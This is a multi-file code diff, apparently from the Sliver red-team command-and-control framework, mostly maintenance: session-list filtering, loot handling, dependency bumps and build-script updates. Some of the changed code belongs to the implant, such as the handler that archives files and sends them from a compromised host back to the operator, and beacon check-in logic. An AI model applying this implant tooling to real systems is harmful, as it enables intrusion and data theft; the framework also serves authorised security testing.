con.PrintInfof("Output saved as loot\n")
}
}
func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = screenshotFileName
}
lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
loot.SendLootMessage(lootMessage, con)
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
+44 -7
View File
@@ -21,6 +21,7 @@ package sessions
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -97,12 +98,23 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
}
} else {
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
sessionsMap := map[string]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
if 0 < len(sessionsMap) {
PrintSessions(sessionsMap, con)
PrintSessions(sessionsMap, filter, filterRegex, con)
} else {
con.PrintInfof("No sessions 🙁\n")
}
@@ -110,7 +122,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
@@ -128,7 +140,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Last Message",
"Health",
})
} else {
@@ -164,8 +176,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
}
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
var rowEntries []string
if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
@@ -175,9 +188,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
}
} else {
tw.AppendRow(table.Row{
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
@@ -185,7 +198,31 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
burned + SessionHealth,
})
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
}
}
+5 -3
View File
@@ -233,7 +233,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
},
}
exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
// execute-shellcode
case sliverpb.MsgTaskReq:
@@ -289,9 +289,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "sideload"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.PrintSideload(sideload, hostname, ctx, con)
exec.HandleSideloadResponse(sideload, "", hostname, ctx, con)
case sliverpb.MsgSpawnDllReq:
spawnDll := &sliverpb.SpawnDll{}
@@ -309,9 +310,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "spawndll"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
exec.HandleSpawnDLLResponse(spawnDll, "", hostname, ctx, con)
case sliverpb.MsgSSHCommandReq:
sshCommand := &sliverpb.SSHCommand{}
+1 -1
View File
@@ -232,7 +232,7 @@ GEM
jekyll-seo-tag (~> 2.1)
minitest (5.15.0)
multipart-post (2.1.1)
nokogiri (1.13.3)
nokogiri (1.13.6)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.22.0)
+22 -6
View File
@@ -20,7 +20,7 @@ set -e
# Creates the static go asset archives
GO_VER="1.18"
GO_VER="1.18.2"
GARBLE_VER="1.18.0"
GO_ARCH_1="amd64"
@@ -102,9 +102,9 @@ cp -vv darwin-go.zip $OUTPUT_DIR/darwin/$GO_ARCH_2/go.zip
rm -rf ./go
rm -f darwin-go.zip go$GO_VER.darwin-$GO_ARCH_2.tar.gz
# --- Linux ---
curl --output go$GO_VER.linux-amd64.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
tar xvf go$GO_VER.linux-amd64.tar.gz
# --- Linux (amd64) ---
curl --output go$GO_VER.linux-$GO_ARCH_1.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
tar xvf go$GO_VER.linux-$GO_ARCH_1.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
@@ -118,6 +118,22 @@ cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_1/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_1.tar.gz
# --- Linux (arm64) ---
curl --output go$GO_VER.linux-$GO_ARCH_2.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_2.tar.gz
tar xvf go$GO_VER.linux-$GO_ARCH_2.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
rm -f ./pkg/tool/linux_$GO_ARCH_2/doc
rm -f ./pkg/tool/linux_$GO_ARCH_2/tour
rm -f ./pkg/tool/linux_$GO_ARCH_2/test2json
cd ..
zip -r linux-go.zip ./go
mkdir -p $OUTPUT_DIR/linux/$GO_ARCH_2
cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_2/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_2.tar.gz
# --- Windows ---
curl --output go$GO_VER.windows-amd64.zip https://dl.google.com/go/go$GO_VER.windows-$GO_ARCH_1.zip
unzip go$GO_VER.windows-amd64.zip
@@ -140,8 +156,8 @@ echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
+17 -20
View File
@@ -10,63 +10,51 @@ require (
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/fatih/color v1.12.0
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v3.3.0+incompatible
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-sqlite3 v1.14.12
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/sergi/go-diff v1.1.0 // indirect
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.27.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
)
require (
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
)
require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
@@ -79,10 +67,13 @@ require (
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
@@ -96,11 +87,15 @@ require (
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/sergi/go-diff v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.5.1 // indirect
@@ -108,8 +103,10 @@ require (
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/yaml.v3 v3.0.0 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
+2 -19
View File
@@ -614,8 +614,6 @@ github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/Qd
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-shellwords v1.0.3/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/mattn/go-sqlite3 v1.14.12 h1:TJ1bhYJPV44phC+IMu1u2K/i5RriLTPe+yc68XDJ1Z0=
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
@@ -1340,8 +1338,9 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0 h1:hjy8E9ON/egN1tAYqKb61G10WtihqetD4sz2H+8nIeA=
gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/mysql v1.0.3 h1:+JKBYPfn1tygR1/of/Fh2T8iwuVwzt+PEJmKaXzMQXg=
gorm.io/driver/mysql v1.0.3/go.mod h1:twGxftLBlFgNVNakL7F+P/x9oYqoymG3YYT8cAfI9oI=
gorm.io/driver/postgres v1.0.5 h1:raX6ezL/ciUmaYTvOq48jq1GE95aMC0CmxQYbxQ4Ufw=
@@ -1397,7 +1396,6 @@ modernc.org/cc/v3 v3.35.10/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g
modernc.org/cc/v3 v3.35.15/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.16/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.17/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.18 h1:rMZhRcWrba0y3nVmdiQ7kxAgOOSq2m2f2VzjHLgEs6U=
modernc.org/cc/v3 v3.35.18/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.20/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.22/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
@@ -1438,11 +1436,8 @@ modernc.org/ccgo/v3 v3.12.73/go.mod h1:hngkB+nUUqzOf3iqsM48Gf1FZhY599qzVg1iX+BT3
modernc.org/ccgo/v3 v3.12.81/go.mod h1:p2A1duHoBBg1mFtYvnhAnQyI6vL0uw5PGYLSIgF6rYY=
modernc.org/ccgo/v3 v3.12.84/go.mod h1:ApbflUfa5BKadjHynCficldU1ghjen84tuM5jRynB7w=
modernc.org/ccgo/v3 v3.12.86/go.mod h1:dN7S26DLTgVSni1PVA3KxxHTcykyDurf3OgUzNqTSrU=
modernc.org/ccgo/v3 v3.12.88/go.mod h1:0MFzUHIuSIthpVZyMWiFYMwjiFnhrN5MkvBrUwON+ZM=
modernc.org/ccgo/v3 v3.12.90/go.mod h1:obhSc3CdivCRpYZmrvO88TXlW0NvoSVvdh/ccRjJYko=
modernc.org/ccgo/v3 v3.12.92/go.mod h1:5yDdN7ti9KWPi5bRVWPl8UNhpEAtCjuEE7ayQnzzqHA=
modernc.org/ccgo/v3 v3.12.95 h1:Ym2JG2G3P4IyZqjTTojHTl7qO0RysXeGSYPSoKPSBxc=
modernc.org/ccgo/v3 v3.12.95/go.mod h1:ZcLyvtocXYi8uF+9Ebm3G8EF8HNY5hGomBqthDp4eC8=
modernc.org/ccgo/v3 v3.13.1/go.mod h1:aBYVOUfIlcSnrsRVU8VRS35y2DIfpgkmVkYZ0tpIXi4=
modernc.org/ccgo/v3 v3.15.9/go.mod h1:md59wBwDT2LznX/OTCPoVS6KIsdRgY8xqQwBV+hkTH0=
modernc.org/ccgo/v3 v3.15.10/go.mod h1:wQKxoFn0ynxMuCLfFD09c8XPUCc8obfchoVR9Cn0fI8=
@@ -1453,7 +1448,6 @@ modernc.org/ccgo/v3 v3.15.16/go.mod h1:XbKRMeMWMdq712Tr5ECgATYMrzJ+g9zAZEj2ktzBe
modernc.org/ccgo/v3 v3.15.17/go.mod h1:bofnFkpRFf5gLY+mBZIyTW6FEcp26xi2lgOFk2Rlvs0=
modernc.org/ccgo/v3 v3.15.18 h1:X5ym656Ye7/ubL+wox0SeF9aRX5od1UDFn1tAbQR+90=
modernc.org/ccgo/v3 v3.15.18/go.mod h1:/2lv3WjHyanEr2sAPdGKRC38n6f0werut9BRXUjjX+A=
modernc.org/ccorpus v1.11.1 h1:K0qPfpVG1MJh5BYazccnmhywH4zHuOgJXgbjzyp6dWA=
modernc.org/ccorpus v1.11.1/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
@@ -1494,12 +1488,8 @@ modernc.org/libc v1.11.82/go.mod h1:NF+Ek1BOl2jeC7lw3a7Jj5PWyHPwWD4aq3wVKxqV1fI=
modernc.org/libc v1.11.86/go.mod h1:ePuYgoQLmvxdNT06RpGnaDKJmDNEkV7ZPKI2jnsvZoE=
modernc.org/libc v1.11.87/go.mod h1:Qvd5iXTeLhI5PS0XSyqMY99282y+3euapQFxM7jYnpY=
modernc.org/libc v1.11.88/go.mod h1:h3oIVe8dxmTcchcFuCcJ4nAWaoiwzKCdv82MM0oiIdQ=
modernc.org/libc v1.11.90/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
modernc.org/libc v1.11.98/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
modernc.org/libc v1.11.99/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
modernc.org/libc v1.11.101/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
modernc.org/libc v1.11.104 h1:gxoa5b3HPo7OzD4tKZjgnwXk/w//u1oovvjSMP3Q96Q=
modernc.org/libc v1.11.104/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
modernc.org/libc v1.12.0/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
modernc.org/libc v1.14.1/go.mod h1:npFeGWjmZTjFeWALQLrvklVmAxv4m80jnG3+xI8FdJk=
modernc.org/libc v1.14.2/go.mod h1:MX1GBLnRLNdvmK9azU9LCxZ5lMyhrbEMK8rG3X/Fe34=
@@ -1517,27 +1507,20 @@ modernc.org/mathutil v1.4.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6
modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/memory v1.0.4/go.mod h1:nV2OApxradM3/OVbs2/0OsP6nPfakXpi50C7dcoHXlc=
modernc.org/memory v1.0.5 h1:XRch8trV7GgvTec2i7jc33YlUI0RKVDBvZ5eZ5m8y14=
modernc.org/memory v1.0.5/go.mod h1:B7OYswTRnfGg+4tDH1t1OeUNnsy2viGTdME4tzd+IjM=
modernc.org/memory v1.0.6/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
modernc.org/memory v1.0.7 h1:UE3cxTRFa5tfUibAV7Jqq8P7zRY0OlJg+yWVIIaluEE=
modernc.org/memory v1.0.7/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sqlite v1.14.3 h1:psrTwgpEujgWEP3FNdsC9yNh5tSeA77U0GeWhHH4XmQ=
modernc.org/sqlite v1.14.3/go.mod h1:xMpicS1i2MJ4C8+Ap0vYBqTwYfpFvdnPE6brbFOtV2Y=
modernc.org/sqlite v1.16.0 h1:DdvOGaWN0y+X7t2L7RUD63gcwbVjYZjcBZnA68g44EI=
modernc.org/sqlite v1.16.0/go.mod h1:Jwe13ItpESZ+78K5WS6+AjXsUg+JvirsjN3iIDO4C8k=
modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
modernc.org/tcl v1.9.2 h1:YA87dFLOsR2KqMka371a2Xgr+YsyUwo7OmHVSv/kztw=
modernc.org/tcl v1.9.2/go.mod h1:aw7OnlIoiuJgu1gwbTZtrKnGpDqH9wyH++jZcxdqNsg=
modernc.org/tcl v1.11.2 h1:mXpsx3AZqJt83uDiFu9UYQVBjNjaWKGCF1YDSlpCL6Y=
modernc.org/tcl v1.11.2/go.mod h1:BRzgpajcGdS2qTxniOx9c/dcxjlbA7p12eJNmiriQYo=
modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.2.20 h1:DyboxM1sJR2NB803j2StnbnL6jcQXz273OhHDGu8dGk=
modernc.org/z v1.2.20/go.mod h1:zU9FiF4PbHdOTUxw+IF8j7ArBMRPsHgq10uVPt6xTzo=
modernc.org/z v1.3.2 h1:4GWBVMa48UDC7KQ9tnaggN/yTlXg+CdCX9bhgHPQ9AM=
modernc.org/z v1.3.2/go.mod h1:PEU2oK2OEA1CfzDTd+8E908qEXhC9s0MfyKp5LZsd+k=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
+57 -1
View File
@@ -277,6 +277,13 @@ func pwdHandler(data []byte, resp RPCResponse) {
// Send a file back to the hive
func downloadHandler(data []byte, resp RPCResponse) {
var rawData []byte
/*
A flag for whether this is a directory - used if
this download is being looted
*/
var isDir bool
downloadReq := &sliverpb.DownloadReq{}
err := proto.Unmarshal(data, downloadReq)
if err != nil {
@@ -307,8 +314,10 @@ func downloadHandler(data []byte, resp RPCResponse) {
log.Printf("error creating the archive: %v", err)
// {{end}}
rawData = dirData.Bytes()
isDir = true
} else {
rawData, err = ioutil.ReadFile(target)
isDir = false
}
var download *sliverpb.Download
@@ -320,6 +329,7 @@ func downloadHandler(data []byte, resp RPCResponse) {
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
}
} else {
download = &sliverpb.Download{Path: target, Exists: false}
@@ -604,12 +614,58 @@ func gzipRead(data []byte) ([]byte, error) {
return buf.Bytes(), nil
}
func standarizeArchiveFileName(path string) string {
// Change all backslashes to forward slashes
var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
/*
Remove the volume / root from the directory
path. This makes it so that files on the
system where the archive is extracted to
will not be clobbered.
Tried with filepath.VolumeName, but that function
does not work reliably with Windows paths
*/
if strings.HasPrefix(standardFilePath, "//") {
// If this a UNC path, filepath.Rel is not going to work
return standardFilePath[2:]
} else {
// Calculate a path relative to the root
pathParts := strings.SplitN(standardFilePath, "/", 2)
if len(pathParts) < 2 {
// Then something is wrong with this path
return standardFilePath
}
basePath := pathParts[0]
fileRelPath := pathParts[1]
if basePath == "" {
// If base path is blank, that means it started with / and / is the root
return fileRelPath
} else {
/*
Then this is almost certainly Windows, and we will set the archive up
so that it preserves the path but without the colon.
Something like:
c/windows/system32/file.whatever
Colons are not legal in Windows filenames, so let's get rid of them.
*/
basePath = strings.ReplaceAll(basePath, ":", "")
basePath = strings.ToLower(basePath)
return basePath + "/" + fileRelPath
}
}
}
func compressDir(path string, buf io.Writer) error {
zipWriter := gzip.NewWriter(buf)
tarWriter := tar.NewWriter(zipWriter)
filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
fileName := file
fileName := standarizeArchiveFileName(file)
// If the file is a SymLink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
+1 -1
View File
@@ -104,7 +104,7 @@ func getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error
// getTokenOwner retrieves access token t owner account information.
func getTokenOwner(t syscall.Token) (*syscall.Tokenuser, error) {
i, e := getInfo(t, syscall.TokenOwner, 50)
i, e := getInfo(t, syscall.TokenUser, 50)
if e != nil {
return nil, e
}
+2 -2
View File
@@ -298,7 +298,7 @@ func beaconMainLoop(beacon *transports.Beacon) error {
Interval: beacon.Interval(),
Jitter: beacon.Jitter(),
Register: register,
NextCheckin: nextCheckin.UTC().Unix(),
NextCheckin: int64(beacon.Duration().Seconds()),
}))
beacon.Close()
time.Sleep(time.Second)
